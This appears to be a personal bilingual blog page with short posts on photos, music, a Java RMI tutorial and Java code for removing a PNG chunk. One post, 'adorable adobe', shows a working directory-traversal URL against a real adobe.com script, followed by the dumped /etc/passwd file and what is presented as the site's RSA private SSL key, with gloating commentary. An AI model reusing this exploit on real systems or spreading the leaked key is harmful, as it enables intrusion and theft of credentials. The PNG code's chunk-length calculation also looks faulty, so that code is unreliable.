s o m e t h i n g a b o u t m e

it is all about people

- You’re experienced. How did you manage to setup and carry on with a million customers support service while working at Symbian?
- Usually all you need to do is to make it hard to reach you. It is your defense.


zephyr

Kawasaki Zephyr 750

чертов красавец


future is already here

будущее наступило. возле метро раздают листовки с рекламой социальной сети

чем дальше тем интереснее :)


adorable adobe

link: http://www.adobe.com/shockwave/download/download.cgi?
P1_Prod_Version=../../../../../../../../../etc/passwd%00


root:x:0:0:Super-User:/root:/sbin/sh
daemon:x:1:1::/:
bin:x:2:2::/usr/bin:
sys:x:3:3::/:
adm:x:4:4:Admin:/var/adm:
lp:x:71:8:Line Printer Admin:/usr/spool/lp:
uucp:x:5:5:uucp Admin:/usr/lib/uucp:
nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/uucico
smmsp:x:25:25:SendMail Message Submission Program:/:
listen:x:37:4:Network Admin:/usr/net/nls:
gdm:x:50:50:GDM Reserved UID:/:
webservd:x:80:80:WebServer Reserved UID:/:
nobody:x:60001:60001:NFS Anonymous Access User:/:
noaccess:x:60002:60002:No Access User:/:
nobody4:x:65534:65534:SunOS 4.x NFS Anonymous Access User:/:
patrol:x:9331:9331:Monitoring:/opt/patrol:/bin/ksh
wwwtools:x:11274:11274:Web-Tech Admin:/home/wwwtools:/bin/csh
wwwlogs:x:11275:11275:Log Admin:/home/wwwlogs:/usr/lib/rsh
wwwdocs:x:60005:60030:Content:/home/wwwdocs:/usr/lib/rsh
httpd:x:60004:60004:Apache:/home/httpd:/usr/lib/rsh
svctag:x:60006:12::/tmp:/bin/pfsh

link: http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=
../../../../../../../../..//usr/local/apache/conf/ssl.key/www.adobe.com.key%00


-----BEGIN RSA PRIVATE KEY-----
MIICXQIBAAKBgQC+gu/eSRi5ThbYrVQcewZFQc/Kfa8B/gKOKzD98aY9hvNFj3pd
w5kw+dSlOCU78jrGkbP4m0GyNN27zDAQlWPEkmyzrOqBYvLnWFQ2kTzPlMBNt2yd
F5TsXqCJvqbwvTn+ExBxvBQyoYpdjl37sk9cyqqAVtavbx1UL5956EWW5wIDAQAB
AoGATkxUN2CFd8tfWmhKVHY/ioFU3F0xazkxZarctNH3R/xJyYIBgb3dHSLgwZLE
wtF4VJoXhIqSwqI1q3RtILO1T6OioXVRPsHOZZCB0SV+67Qk0/ukm9rftQUJ95Jx
v4oM4pugVZieScQ3eZaShT0JumjMd3+dQybkJx6iHQ9wO1ECQQDywfyHvZ6Oa45X
cjOHIGHBDd3kXyJdVjxljtELO0tv2qPYw6UCAdQxjA5Zit+2tCrOVNZx1Y0woUdH
A7DG0KGpAkEAyOdaM9pXB7Bw5fjuIH5BaZXT1ZgdY90nlnYq00kbZVaj5CS8mTAQ
/brK0dOAM3a0KXP4YXw++WxIV2h+WFnuDwJBAKMgVdjFQ/HCNtFuTU/lI6s97TiT
8Ry1YTqBgNnCS4vraSS1O4Ggxv1QdygWmQRGB2nFOqEd9pWSGrqOsVC4S5kCQQDF
xuOI6mgE3NC3xNB/0msIy4On4UEFn6CqQZg1OeIraBidrwCveZ8weaPS3nh1sWT4
7f7V0V+ZYdzxl5/R0G5HAkAzMm0Rs6TOIuUvKAPH0YWkbzyTNzIsMUlf2plbFko3
KE1w2vwntoaGaZu366ZE9B+GlunvZsR8o0gBtnNc8rur
-----END RSA PRIVATE KEY-----

etc :)

бугагага


girl


girl, originally uploaded by _traut_.

kino

я, лишь начнется новый день,
хожу, отбрасываю тень с лицом нахала

Бездельник [audio:http://out.com.ua/storage/2007/09/Bezdelnik.mp3]
Бездельник-2 [audio:http://out.com.ua/storage/2007/09/Bezdelnik2.mp3]

аранжировки хороши, как для 82го


dancing around RMI

How to create a simple client-server application using RMI interface and run it on linux?

  1. We need to create an interface that extends java.rmi.Remote interface:
    public interface IFacade extends Remote {
    
            String sayHello() throws RemoteException;   // its important exception - its required for object exporting
    
    }
    
  2. Then we are implementing this interface. In main method we need to get|create a registry object, export our object marked as Remote, and bind it to some name (and actually start the server). Here we can specify the port number for binding.
    public class Facade implements IFacade {
    
            public String sayHello() {
                    return "hello";
            }
    
            public static void main(String[] args) {
    		int port = 7001;
                    String name = "Facade";
    		try {
    			IFacade facade = new Facade();
                            Registry registry = LocateRegistry.createRegistry(port);
                            IFacade stub = (IFacade) UnicastRemoteObject.exportObject(facade, port);
                            registry.bind(name, stub);
               		System.out.println("Server is up and running");
    
    			BufferedReader rdr = new BufferedReader(
    					new InputStreamReader(System.in));
    			while (true) {
    				System.out.println("Type EXIT to shutdown the server.");
    				if ("EXIT".equals(rdr.readLine())) {
    					break;
    				}
    			}
    			registry.unbind(name);
    			UnicastRemoteObject.unexportObject(facade, true);
                    } catch (Exception e) {
    			e.printStackTrace();
    		}
             }
    }
    
  3. We need to start rmiregistry service:
    traut@traut-laptop:~$ rmiregistry
    Bad port number - using default
    

    default port number is OK

  4. About client:
    public class Client extends Thread {
    
            @Override
    	public void run() {
    		super.run();
    		System.out.println("Client started");
    		try {
    			Registry registry = LocateRegistry.getRegistry(host, port);
    			IFacade facade = (IFacade) registry.lookup("Facade");
                            System.out.println(facade.sayHello());
    		} catch (Exception e) {
    			e.printStackTrace();
    			return;
    		}
          }
    
            public static void main(String[] args) {
    		int port = 7001;
    		String host = "traut-laptop";
    
    		new Client(host, port).start();
    		new Client(host, port).start();
    	}
    }
    
  5. Fin

A few Interesting things:

This release adds support for the dynamic generation of stub classes at runtime, obviating the need to use the Java(tm) Remote Method Invocation (Java RMI) stub compiler, rmic, to pregenerate stub classes for remote objects. Note that rmic must still be used to pregenerate stub classes for remote objects that need to support clients running on earlier versions.

Java RMI Release Notes

So, we don’t need to create stub files with rmic program. It must be processed silently undercover from 1.5

I’m not created and used here SecurityManager, policy files, and other boring stuff that documentation advice to use :)

RMI is still easy-to-understand interface but horrible to implement and to use


how to remove chunks from PNG

From PNG specification: The PNG datastream consists of a PNG signature followed by a sequence of chunks. Each chunk has a chunk type which specifies its function.

There are different types of PNG chunks:

  1. four of them are termed critical chunks: IHDR (first chunk, header), PLTE (for indexed PNG images), IDAT(image data chunks), IEND (last chunk, bottom line)
  2. The remaining 14 chunk types are termed ancillary chunk types, which encoders may generate and decoders may interpret.
    1. Transparency information: tRNS (transparency information).
    2. Colour space information: cHRM, gAMA, iCCP, sBIT, sRGB (colour space information).
    3. Textual information: iTXt, tEXt, zTXt (textual information).
    4. Miscellaneous information: bKGD, hIST, pHYs, sPLT (miscellaneous information).
    5. Time information: tIME (time stamp information).

By the way, each chunk has a 4 character identifier as you see and upper case means it’s required, lower case means it’s optional.

Chunks follow a format that goes like this: 4 bytes that store the length of the data block of the chunk, 4 bytes for the identifier, then the chunk data, then 4 bytes for the CRC. So chunk is [length.id.data.crc] Additionally every chunk type has its position boundaries in PNG data stream.

My issue was to remove bKGD chunk from PNG file (some mobile phones doesn’t like bKGD chunk in PNG file) so we will look closely at bKGD chunk.

bKGD can be placed between IHDR (always first) and first IDAT chunk so we need to find bKGD identifier or identifier of first IDAT chunk and then break the loop. So code is:


public static InputStream removebKGDChunk(InputStream is) {
        try {
            byte[] data = IOUtils.toByteArray(is);

            if (data.length == 0) {
                return new ByteArrayInputStream(data);
            }

            int chunkDataLenght = 0;
            int chunkPosition = 0;
            for (int i = 0; i < data.length; i++) {
                if (data[i + 4] == 'b' && data[i + 5] == 'K'
                    && data[i + 6] == 'G' && data[i + 7] == 'D') {
                    chunkPosition = i;
                    chunkDataLenght = (data[i++] << 4) | (data[i++] << 4)
                                            | (data[i++] << 4) | data[i];
                    break;
                }
                if (data[i + 4] == 'I' && data[i + 5] == 'D'
                    && data[i + 6] == 'A' && data[i + 7] == 'T') {
                    break;
                }
            }
            if (chunkPosition != 0) {
                int fullChunkLenght = MIN_CHUNK_LENGHT + chunkDataLenght;

                // MIN_CHUNK_LENGHT = lengthField + idField + CRC = 12

                System.arraycopy(data, chunkPosition + fullChunkLenght,
                        data, chunkPosition,
                        data.length - chunkPosition - fullChunkLenght);
                return new ByteArrayInputStream(
                        ArrayUtils.subarray(data, 0, data.length - fullChunkLenght));
            }
            return new ByteArrayInputStream(data);
        } catch (IOException e) {
            logger.warn("Cannot remove bKGD chunk ", e);
        } finally {
            IOUtils.closeQuietly(is);
        }
        return null;
    }

I am working with InputStream directly to make this functionality easy to plug/unplug.

Any questions? :)


interfaces

воочию убеждаюсь в необходимости универсальных интерфейсов и обязательности их использования. в ключевых узлах особенно.

в контексте последних постов, о mogilefs: если все классы используют универсальный интерфейс IStorage с методами get/save/delete/rename/etc, то подмена хранилищ - с обычного локального диска на mogilefs через клиента - происходит сменой маппинга бина в spring. И все счастливы и начинают ловить уже баги клиента mogilefs, а не вычищать хлам :)

но по опыту, в большинстве случаев народу (и я так поступаю, и мой код грязный :( ) проще сделать

new File(someFileName).exists()

чем прописывать бин и делать что-то наподобие

abstractStorage.isFileExists(fileName)

lions

Спящий лев. Терраса, Воронцовский дворец

 

 

Лев проснулся. Терраса, Воронцовский дворец


beauty

Красавица


Contrast glade

Поляна контрастов. Воронцовский парк


from Voroncovkiy. blue color

Вид с Воронцовского дворца


from Voroncovkiy


Yana. 1234 m

Яна


Next Page »